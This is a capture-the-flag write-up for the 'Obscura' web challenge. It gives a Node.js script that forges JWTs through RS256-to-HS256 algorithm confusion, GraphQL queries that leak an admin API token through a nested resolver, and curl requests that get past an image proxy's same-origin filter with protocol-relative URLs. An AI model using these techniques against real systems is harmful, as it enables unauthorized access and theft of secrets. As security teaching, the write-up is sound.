## Challenge

Obscura challenge page on Netanix CTF

The challenge provided a deployed web application named **Obscura**. The description mentioned a public marketing site, a JWKS endpoint, a small GraphQL API, and an image proxy. Target: ```txt title="Target" https://obscura-five-chi.vercel.app/ ``` Goal: ```txt title="Goal" Recover the flag from an environment variable on the production deployment. ``` --- ## Recon Important clarification: these routes were not all listed in the frontend source. They were found from a mix of challenge wording, standard web conventions, and confirmation by HTTP responses. | Route | How it was found | How it was confirmed | | --- | --- | --- | | `/.well-known/jwks.json` | The challenge mentioned a JWKS endpoint. `/.well-known/jwks.json` is the standard JWKS location. | Returned a valid JWKS JSON document. | | `/api/graphql` | The challenge mentioned a small GraphQL API. In Next.js apps, `/api/graphql` is a common route. | Accepted POST GraphQL requests and introspection worked. | | `/api/proxy` | The challenge mentioned an image proxy. I tested common names like `/api/proxy`. | Returned `{"error":"url required"}` without a `url` parameter, confirming the route. | | `/api/internal/secret` | This was inferred from the goal and route naming: flag was in an env var, and internal/secret-style routes are common in CTF web apps. | Returned `403 {"error":"forbidden"}` instead of `404`, and Vercel returned `x-matched-path: /api/internal/secret`. | So the route list is not "from the code"; it is "confirmed during recon". The challenge text gave the component names, then each route was validated by behavior. I first checked whether the internal route existed: ```bash title="Check internal route" curl -i 'https://obscura-five-chi.vercel.app/api/internal/secret' ``` Response: ```json title="Response" {"error":"forbidden"} ``` This confirmed that `/api/internal/secret` was real but protected.

Direct request to internal secret route returns forbidden

--- ## GraphQL Introspection The GraphQL endpoint was available at: ```txt title="GraphQL Endpoint" /api/graphql ``` I used introspection to list query fields: ```bash title="List GraphQL query fields" curl -sS 'https://obscura-five-chi.vercel.app/api/graphql' \ -H 'Content-Type: application/json' \ --data '{"query":"{ __schema { queryType { fields { name } } } }"}' ``` Important query fields: ```graphql title="Query Fields" viewer latestUploads getComment(id: ID!) listComments(uploadId: ID!) internalAuditEntry(id: ID!) healthcheck ``` Then I inspected the available types: ```bash title="Inspect GraphQL types" curl -sS 'https://obscura-five-chi.vercel.app/api/graphql' \ -H 'Content-Type: application/json' \ --data '{"query":"{ __schema { types { name fields { name type { kind name ofType { kind name } } } } } }"}' ``` The interesting types were: ```graphql title="Important GraphQL Types" type Comment { id: ID! body: String! author: User upload: Upload auditEntry: AuditEntry } type AuditEntry { id: ID! action: String! target: String! notes: String performedBy: User apiToken: String } ``` The key field was: ```graphql title="Sensitive Field" AuditEntry.apiToken ```

GraphQL introspection showing Query fields and AuditEntry type

--- ## Step 1: JWT Algorithm Confusion The challenge exposed a public JWKS: ```bash title="Save JWKS" curl -sS 'https://obscura-five-chi.vercel.app/.well-known/jwks.json' \ -o /tmp/obscura_jwks.json ``` View it: ```bash title="View JWKS" cat /tmp/obscura_jwks.json ``` The key was an RSA key intended for `RS256`. The bug was that the backend also accepted `HS256`. That means the RSA public key could be converted to PEM and used as an HMAC secret.

Public JWKS endpoint exposing RSA key

Create `forge-obscura-token.js`: ```js title="forge-obscura-token.js" const fs = require("fs"); const crypto = require("crypto"); const jwks = JSON.parse(fs.readFileSync("/tmp/obscura_jwks.json", "utf8")); const jwk = jwks.keys[0]; const pem = crypto .createPublicKey({ key: jwk, format: "jwk" }) .export({ type: "spki", format: "pem" }); function b64(obj) { return Buffer.from(JSON.stringify(obj)).toString("base64url"); } const now = Math.floor(Date.now() / 1000); const header = b64({ alg: "HS256", typ: "JWT", kid: "obscura-v1" }); const payload = b64({ sub: "u_2", role: "member", iat: now, exp: now + 3600 }); const signingInput = header + "." + payload; const sig = crypto .createHmac("sha256", pem) .update(signingInput) .digest("base64url"); console.log(signingInput + "." + sig); ``` Important note: Use the PEM generated by Node directly. Manually copying the PEM can break the signature if formatting or the final newline differs. [JWK to PEM](https://8gwifi.org/jwkconvertfunctions.jsp)

Generated forged HS256 JWT using public RSA key as HMAC secret

[JWT.io](https://www.jwt.io/)

Generated forged HS256 JWT using public RSA key as HMAC secret

--- ## Step 2: Verify the Forged JWT I verified the token with the `viewer` query: ```bash title="Verify forged token" curl -sS 'https://obscura-five-chi.vercel.app/api/graphql' \ -H "Authorization: Bearer $JWT" \ -H 'Content-Type: application/json' \ --data '{"query":"{ viewer { id handle role } }"}' ``` Expected result: ```json title="Viewer result" { "data": { "viewer": { "id": "u_2", "handle": "gallerist", "role": "ADMIN" } } } ``` This confirmed that the forged JWT was accepted.

Forged JWT authenticates as gallerist admin user

--- ## Step 3: Find the Nested GraphQL Authorization Bypass The top-level audit query was protected: ```bash title="Top-level audit query" curl -sS 'https://obscura-five-chi.vercel.app/api/graphql' \ -H "Authorization: Bearer $JWT" \ -H 'Content-Type: application/json' \ --data '{"query":"{ internalAuditEntry(id:\"ae_1\") { id action target apiToken } }"}' ``` Response: ```json title="Denied audit query" { "errors": [ { "message": "admin only" } ], "data": { "internalAuditEntry": null } } ```

Top-level internalAuditEntry query is denied

The bypass was through the nested `Comment.auditEntry` field. The direct resolver was protected, but the same object was exposed when reached through comments. Request: ```bash title="Leak nested AuditEntry" curl -sS 'https://obscura-five-chi.vercel.app/api/graphql' \ -H "Authorization: Bearer $JWT" \ -H 'Content-Type: application/json' \ --data '{"query":"{ listComments(uploadId:\"up_1\") { id body auditEntry { id action target notes apiToken performedBy { id handle role } } } }"}' ``` Important result: ```json title="Leaked audit entry" { "id": "ae_1", "action": "upload.delete", "target": "up_99", "notes": "stale, no traffic", "apiToken": "ob-adm-tk_4f8a72b1e6c34d09a5e2916834cf0d1c", "performedBy": { "id": "u_2", "handle": "gallerist", "role": "ADMIN" } } ``` Leaked admin API token: ```txt title="Admin API Token" ob-adm-tk_4f8a72b1e6c34d09a5e2916834cf0d1c ```

Nested Comment.auditEntry leaks the admin API token

--- ## Step 4: Analyze the Proxy The proxy endpoint was: ```txt title="Proxy Endpoint" /api/proxy?url= ``` A normal external fetch worked: ```bash title="Proxy external request" curl -i 'https://obscura-five-chi.vercel.app/api/proxy?url=https%3A%2F%2Fhttpbin.org%2Fheaders' ```

Image proxy fetching an external URL

A normal same-origin URL was blocked: ```bash title="Normal same-origin URL blocked" curl -i 'https://obscura-five-chi.vercel.app/api/proxy?url=https%3A%2F%2Fobscura-five-chi.vercel.app%2Fapi%2Finternal%2Fsecret' ```

Proxy blocks normal same-origin URL

However, protocol-relative URLs were handled differently: ```txt title="Protocol-relative URL" //obscura-five-chi.vercel.app/api/internal/secret ``` Encoded: ```txt title="Encoded URL" %2F%2Fobscura-five-chi.vercel.app%2Fapi%2Finternal%2Fsecret ``` Request: ```bash title="Protocol-relative proxy request" curl -i 'https://obscura-five-chi.vercel.app/api/proxy?url=%2F%2Fobscura-five-chi.vercel.app%2Fapi%2Finternal%2Fsecret' ``` Response: ```json title="Response" {"error":"unauthorized"} ``` This response was important. The direct request returned `forbidden`, but the protocol-relative proxy request returned `unauthorized`. That showed the proxy reached the internal route through a different path.

Protocol-relative URL reaches secret route through proxy and returns unauthorized

--- ## Step 5: Retrieve the Flag The final step was to combine the leaked admin API token with the protocol-relative proxy request. Final request: ```bash title="Final flag request" curl -sS \ -H 'Authorization: Bearer ob-adm-tk_4f8a72b1e6c34d09a5e2916834cf0d1c' \ 'https://obscura-five-chi.vercel.app/api/proxy?url=%2F%2Fobscura-five-chi.vercel.app%2Fapi%2Finternal%2Fsecret' ``` Response: ```json title="Flag response" { "ok": true, "flag": "NxCTF{rs256_to_................................_relative}" } ```

--- ## Why It Worked There were three separate bugs. First, the JWT verifier accepted `HS256` even though the published JWKS key was an RSA key intended for `RS256`. This made it possible to sign a valid token with the public key as an HMAC secret. Second, GraphQL authorization was inconsistent. The top-level `internalAuditEntry` query was protected, but the nested `Comment.auditEntry` field exposed the same sensitive object and included `apiToken`. Third, the proxy blocked standard same-origin URLs but did not correctly reject protocol-relative same-origin URLs. This allowed the internal route to be reached through `/api/proxy`. Together, these bugs exposed the internal secret endpoint and returned the environment variable containing the flag.

Writeups

ObscuraNetanix CTF

ObfuscatedNetanix Ctf